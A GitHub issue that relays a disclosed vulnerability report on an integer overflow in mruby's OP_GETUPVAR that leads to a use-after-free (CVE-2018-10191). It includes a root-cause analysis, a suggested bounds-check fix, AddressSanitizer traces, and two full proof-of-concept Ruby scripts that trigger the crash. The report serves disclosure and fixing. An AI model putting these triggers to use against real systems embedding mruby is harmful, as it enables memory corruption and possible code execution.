Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use after free caused by integer overflow in environment stack #3995

Closed
clayton-shopify opened this issue Apr 10, 2018 · 2 comments
Closed

Comments

@clayton-shopify
Copy link
Contributor

https://hackerone.com/pnoltof reported the following:


Root Cause:

Nesting many scopes as seen in the input leads to an integer overflow in OP_GET_UPVAR:

 CASE(OP_GETUPVAR) {
      
      /* A B C  R(A) := uvget(B,C) */
      int a = GETARG_A(i);
      int b = GETARG_B(i);
      int c = GETARG_C(i);
      mrb_value *regs_a = regs + a;
      struct REnv *e = uvenv(mrb, c);
      if (!e) {
        *regs_a = mrb_nil_value();
      }
      else {
        *regs_a = e->stack[b];
      }
      NEXT;
    }

Details:

If 128 scopes are nested and we access a variable from the outermost scope from the innermost scope, c overflows to 0. b contains the index of of the variable in the outer scope, but is used to offset into the inner scopes stackframe. If the outermost scope contains many variables, b can become large. If b is large, and the innermost stackframe is small, we can use memory from outside the stackframe as mrb_value. In some cases, a mrb_value can contains a pointer (objects, strings etc). In these cases, the pointer can be corrupted by controlling the memory outside the stack frame. Our POC triggers a use after free access (see use_after_free.rb).

In other cases, we can simply change variables from other stackframes, we observed some type confusions in various C functions that seem to dislike values changing magically (see the attached input nullptr_deref.rb, where a corrupted proc object is used in places where an object is expected).

Bugfix:

Ensure that deep nesting is an error condition (As this will cause bugs in ruby programs, even if the underlaying C code is fixed). Additionally add the following check (taken from SET_UPVAR, where the size is checked correctly)

        if (b < MRB_ENV_STACK_LEN(e)) {
             [.... perform code ]
        }

Steps to Reproduce:

setup latest mruby

git clone https://github.com/mruby/mruby.git
git checkout e9ddb593f3f6c0264563eaf20f5de8cf43cc1c5d
CC=clang  LD=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" make

run inputs:

./bin/mruby use_after_free.rb 

=================================================================
==24954==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500002a900 at pc 0x0000004a387d bp 0x7ffe67f129f0 sp 0x7ffe67f121a0
READ of size 16 at 0x62500002a900 thread T0
    #0 0x4a387c  (/tmp/mruby/bin/mruby+0x4a387c)
    #1 0x63f591  (/tmp/mruby/bin/mruby+0x63f591)
    #2 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #3 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #4 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #5 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #6 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #7 0x7f4a0ea8f82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #8 0x419a18  (/tmp/mruby/bin/mruby+0x419a18)

0x62500002a900 is located 0 bytes inside of 9760-byte region [0x62500002a900,0x62500002cf20)
freed by thread T0 here:
    #0 0x4b9ec8  (/tmp/mruby/bin/mruby+0x4b9ec8)
    #1 0x4ee465  (/tmp/mruby/bin/mruby+0x4ee465)
    #2 0x4f3d16  (/tmp/mruby/bin/mruby+0x4f3d16)
    #3 0x4f43f4  (/tmp/mruby/bin/mruby+0x4f43f4)
    #4 0x630ea3  (/tmp/mruby/bin/mruby+0x630ea3)
    #5 0x6356d9  (/tmp/mruby/bin/mruby+0x6356d9)
    #6 0x63608e  (/tmp/mruby/bin/mruby+0x63608e)
    #7 0x645e60  (/tmp/mruby/bin/mruby+0x645e60)
    #8 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #9 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #10 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #11 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #12 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #13 0x7f4a0ea8f82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x4b9ec8  (/tmp/mruby/bin/mruby+0x4b9ec8)
    #1 0x4ee465  (/tmp/mruby/bin/mruby+0x4ee465)
    #2 0x4f3d16  (/tmp/mruby/bin/mruby+0x4f3d16)
    #3 0x4f43f4  (/tmp/mruby/bin/mruby+0x4f43f4)
    #4 0x630ea3  (/tmp/mruby/bin/mruby+0x630ea3)
    #5 0x6356d9  (/tmp/mruby/bin/mruby+0x6356d9)
    #6 0x63608e  (/tmp/mruby/bin/mruby+0x63608e)
    #7 0x645e60  (/tmp/mruby/bin/mruby+0x645e60)
    #8 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #9 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #10 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #11 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #12 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #13 0x7f4a0ea8f82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free (/tmp/mruby/bin/mruby+0x4a387c) 
Shadow bytes around the buggy address:
  0x0c4a7fffd4d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd4e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd4f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fffd520:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd530: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd560: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd570: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==24954==ABORTING

and also:

$./bin/mruby null_ptr_deref.rb
ASAN:DEADLYSIGNAL
=================================================================
==8347==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005c73b2 bp 0x7ffcf3381b50 sp 0x7ffcf33818e0 T0)
    #0 0x5c73b1  (/tmp/mruby/bin/mruby+0x5c73b1)
    #1 0x5c709f  (/tmp/mruby/bin/mruby+0x5c709f)
    #2 0x668326  (/tmp/mruby/bin/mruby+0x668326)
    #3 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #4 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #5 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #6 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #7 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #8 0x7feb5c5d882f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #9 0x419a18  (/tmp/mruby/bin/mruby+0x419a18)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/tmp/mruby/bin/mruby+0x5c73b1) 
==8347==ABORTING

Authors:

Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera

Impact

By leveraging the use after free, an attacker is most likely able to obtain arbitrary code execution.

use_after_free.rb:

a2="2"*200
a3="3"*200
a4="4"*200
a5="5"*200
a6="6"*200
a7="7"*200
a8="8"*200
a9="9"*200
a10="10"*200
a11="11"*200
a12="12"*200
a13="13"*200
a14="14"*200
a15="15"*200
a16="16"*200
a17="17"*200
a18="18"*200
a19="19"*200
a20="20"*200
a21="21"*200
a22="22"*200
a23="23"*200
a24="24"*200
a25="25"*200
a26="26"*200
a27="27"*200
a28="28"*200
a29="29"*200
a30="30"*200
a31="31"*200
a32="32"*200
a33="33"*200
a34="34"*200
a35="35"*200
a36="36"*200
a37="37"*200
a38="38"*200
a39="39"*200
a40="40"*200
a41="41"*200
a42="42"*200
a43="43"*200
a44="44"*200
a45="45"*200
a46="46"*200
a47="47"*200
a48="48"*200
a49="49"*200
a50="50"*200
a51="51"*200
a52="52"*200
a53="53"*200
a54="54"*200
a55="55"*200
a56="56"*200
a57="57"*200
a58="58"*200
a59="59"*200
a60="60"*200
a61="61"*200
a62="62"*200
a63="63"*200
a64="64"*200
a65="65"*200
a66="66"*200
a67="67"*200
a68="68"*200
a69="69"*200
a70="70"*200
a71="71"*200
a72="72"*200
a73="73"*200
a74="74"*200
a75="75"*200
a76="76"*200
a77="77"*200
a78="78"*200
a79="79"*200
a80="80"*200
a81="81"*200
a82="82"*200
a83="83"*200
a84="84"*200
a85="85"*200
a86="86"*200
a87="87"*200
a88="88"*200
a89="89"*200
a90="90"*200
a91="91"*200
a92="92"*200
a93="93"*200
a94="94"*200
a95="95"*200
a96="96"*200
a97="97"*200
a98="98"*200
a99="99"*200
a100="100"*200
a101="101"*200
a102="102"*200
a103="103"*200
a104="104"*200
a105="105"*200
a106="106"*200
a107="107"*200
a108="108"*200
a109="109"*200
a110="110"*200
a111="111"*200
a112="112"*200
a113="113"*200
a114="114"*200
a115="115"*200
a116="116"*200
a117="117"*200
a118="118"*200
a119="119"*200
a120="120"*200
a121="121"*200
a122="122"*200
a123="123"*200
a124="124"*200
a125="125"*200
a126="126"*200
a127="127"*200
a128="128"*200
a129="129"*200
a130="130"*200
a131="131"*200
a132="132"*200
a133="133"*200
a134="134"*200
a135="135"*200
a136="136"*200
a137="137"*200
a138="138"*200
a139="139"*200
a140="140"*200
a141="141"*200
a142="142"*200
a143="143"*200
a144="144"*200
a145="145"*200
a146="146"*200
a147="147"*200
a148="148"*200
a149="149"*200
a150="150"*200
a151="151"*200
a152="152"*200
a153="153"*200
a154="154"*200
a155="155"*200
a156="156"*200
a157="157"*200
a158="158"*200
a159="159"*200
a160="160"*200
a161="161"*200
a162="162"*200
a163="163"*200
a164="164"*200
a165="165"*200
a166="166"*200
a167="167"*200
a168="168"*200
a169="169"*200
a170="170"*200
a171="171"*200
a172="172"*200
a173="173"*200
a174="174"*200
a175="175"*200
a176="176"*200
a177="177"*200
a178="178"*200
a179="179"*200
a180="180"*200
a181="181"*200
a182="182"*200
a183="183"*200
a184="184"*200
a185="185"*200
a186="186"*200
a187="187"*200
a188="188"*200
a189="189"*200
a190="190"*200
a191="191"*200
a192="192"*200
a193="193"*200
a194="194"*200
a195="195"*200
a196="196"*200
a197="197"*200
a198="198"*200
a199="199"*200
a200="200"*200
a201="201"*200
a202="202"*200
a203="203"*200
a204="204"*200
a205="205"*200
a206="206"*200
a207="207"*200
a208="208"*200
a209="209"*200
a210="210"*200
a211="211"*200
a212="212"*200
a213="213"*200
a214="214"*200
a215="215"*200
a216="216"*200
a217="217"*200
a218="218"*200
a219="219"*200
a220="220"*200
a221="221"*200
a222="222"*200
a223="223"*200
a224="224"*200
a225="225"*200
a226="226"*200
a227="227"*200
a228="228"*200
a229="229"*200
a230="230"*200
a231="231"*200
a232="232"*200
a233="233"*200
a234="234"*200
a235="235"*200
a236="236"*200
a237="237"*200
a238="238"*200
a239="239"*200
a240="240"*200
a241="241"*200
a242="242"*200
a243="243"*200
a244="244"*200
a245="245"*200
a246="246"*200
a247="247"*200
a248="248"*200
a249="249"*200
a250="250"*200
a251="251"*200
a252="252"*200
a253="253"*200
a254="254"*200
a255="255"*200
a256="256"*200
c="baz"
"a".instance_eval{ "b".instance_eval{ "c".instance_eval{ "d".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "x".instance_eval{ "y".instance_eval{ "z".instance_eval{
puts c
} } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } }

null_ptr_deref.rb:

a2="2"*200
a3="3"*200
c="baz"
"a".instance_eval{ "b".instance_eval{ "c".instance_eval{ "d".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "x".instance_eval{ "y".instance_eval{ "z".instance_eval{
def c.x; end
def c.x; end
} } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } }
@stevebeattie
Copy link

This was assigned CVE-2018-10191. Thank you!

@take-cheeze
Copy link
Contributor

I think compiler needs some checking for with this too.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants